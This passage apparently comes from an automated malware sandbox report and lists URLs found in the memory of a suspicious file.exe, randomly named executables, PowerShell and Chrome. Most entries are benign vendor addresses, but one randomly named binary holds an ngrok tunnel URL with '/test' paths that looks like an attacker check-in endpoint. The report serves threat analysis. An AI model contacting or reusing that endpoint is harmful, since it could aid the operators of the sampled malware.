Source: chrome.exe, 0000001A.00000002.2717177046.000016B0000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 0000001A.00000002.2717177046.000016B0000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
Source: chrome.exe, 0000001A.00000002.2718229455.000016B00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 0000001A.00000002.2718229455.000016B00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 0000001A.00000002.2718229455.000016B00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 0000001A.00000002.2718229455.000016B00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 0000001A.00000002.2717022050.000016B00008C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chrome.exe, 0000001A.00000002.2718229455.000016B00020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2729186786.000016B000E54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 0000001A.00000002.2718229455.000016B00020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2729186786.000016B000E54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 0000001A.00000002.2718229455.000016B00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 0000001A.00000002.2718229455.000016B00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
Source: 5ff77f639c.exe, 0000000C.00000003.2348114391.00000000078E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: 5ff77f639c.exe, 0000000C.00000003.2348114391.00000000078E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: powershell.exe, 00000016.00000002.2638683621.000000000341B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka..FT_
Source: powershell.exe, 0000000D.00000002.2472205985.00000000045E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2509578909.00000000050C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2551301768.00000000046A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2591382936.0000000004E51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2644278939.0000000004F71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2710510603.0000000004F51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000018.00000002.2710510603.00000000050A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966t
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/58452
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574u
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161m
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162L
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308P
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320)
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369Q
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369U
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369c
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369w
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382_
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489=
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/77144
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/78477
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: file.exe, 00000000.00000002.2148382505.0000000023322000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2128255409.0000000000D05000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2900866586.0000000005871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2148382505.0000000023322000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2128255409.0000000000D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: chrome.exe, 0000001A.00000002.2722328633.000016B000770000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2720145095.000016B0004F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 0000001A.00000002.2726036039.000016B000B80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: file.exe, 00000000.00000003.1902015543.0000000000D27000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813480773.00000000058BD000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2814268139.00000000058BB000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813813506.00000000058BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 0000001A.00000002.2726036039.000016B000B80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 0000001A.00000002.2726036039.000016B000B80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_apia
Source: file.exe, 00000000.00000003.1902015543.0000000000D27000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813480773.00000000058BD000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2814268139.00000000058BB000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813813506.00000000058BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chrome.exe, 0000001A.00000002.2725005906.000016B000A94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search
Source: chrome.exe, 0000001A.00000002.2725005906.000016B000A94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 0000001A.00000002.2725005906.000016B000A94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: file.exe, 00000000.00000003.1902015543.0000000000D27000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2723855038.000016B0009B0000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813480773.00000000058BD000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2814268139.00000000058BB000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813813506.00000000058BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 0000001A.00000003.2696137662.000016B000C94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 0000001A.00000002.2720589690.000016B00060C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 0000001A.00000002.2723473297.000016B000968000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721284455.000016B0006AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2722477479.000016B0007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2724292190.000016B0009E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 0000001A.00000002.2722477479.000016B0007D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en1
Source: chrome.exe, 0000001A.00000003.2693015136.000016B000C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2723018398.000016B0008AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2726922130.000016B000C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2696026097.000016B000C7B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2694092524.000016B000338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2692781301.000016B000C68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728592012.000016B000DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2694197605.000016B000C78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693619950.000016B000DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2692834413.000016B000C78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2696787304.000016B000DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2694151505.000016B000C68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2692928932.000016B000C80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2696137662.000016B000C94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 0000001A.00000002.2765086895.00002E740078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 0000001A.00000002.2765350365.00002E740080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2681186144.00002E740039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2680596367.00002E7400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 0000001A.00000002.2765086895.00002E740078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 0000001A.00000002.2765350365.00002E740080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2681186144.00002E740039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2680596367.00002E7400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 0000001A.00000002.2765086895.00002E740078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 0000001A.00000003.2681723172.00002E7400684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2765086895.00002E740078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 0000001A.00000002.2765350365.00002E740080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2681186144.00002E740039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2680596367.00002E7400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 0000001A.00000002.2718229455.000016B00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 0000001A.00000002.2718229455.000016B00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 0000001A.00000002.2717877726.000016B00017C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 0000001A.00000002.2726573687.000016B000C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/
Source: chrome.exe, 0000001A.00000002.2718146837.000016B0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 0000001A.00000002.2718146837.000016B0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/g1
Source: chrome.exe, 0000001A.00000003.2675652965.00007A20002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2675684184.00007A20002E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 0000001A.00000002.2718229455.000016B00020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2720472503.000016B0005D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721699629.000016B0006EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2715988002.000016B00001C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2689885332.000016B000494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2720664899.000016B00063C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 0000001A.00000002.2716122673.000016B000064000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod
Source: chrome.exe, 0000001A.00000002.2723855038.000016B0009B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=b
Source: chrome.exe, 0000001A.00000002.2723855038.000016B0009B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b
Source: chrome.exe, 0000001A.00000002.2722328633.000016B000770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b
Source: chrome.exe, 0000001A.00000002.2718146837.000016B0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 0000001A.00000002.2718146837.000016B0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chrome.exe, 0000001A.00000002.2728718896.000016B000DED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: file.exe, 00000000.00000002.2148382505.0000000023322000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2128255409.0000000000D05000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2900866586.0000000005871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2148382505.0000000023322000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2128255409.0000000000D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: powershell.exe, 00000018.00000002.2731538055.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000018.00000002.2731538055.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000018.00000002.2731538055.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: chrome.exe, 0000001A.00000003.2697561851.000016B000298000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/368855.)
Source: 5ff77f639c.exe, 0000000C.00000003.2348114391.00000000078E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 5ff77f639c.exe, 0000000C.00000003.2348114391.00000000078E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 5ff77f639c.exe, 0000000C.00000003.2348114391.00000000078E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: chrome.exe, 0000001A.00000002.2718730379.000016B000318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.
Source: chrome.exe, 0000001A.00000003.2689885332.000016B000494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 0000001A.00000002.2718518824.000016B0002C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 0000001A.00000002.2722430333.000016B0007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2722328633.000016B00079D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2719988579.000016B0004BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 0000001A.00000002.2722430333.000016B0007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2722328633.000016B00079D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2719988579.000016B0004BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 0000001A.00000002.2722430333.000016B0007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2722328633.000016B00079D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2719988579.000016B0004BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 0000001A.00000002.2718518824.000016B0002C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 0000001A.00000002.2722328633.000016B000770000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2720145095.000016B0004F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
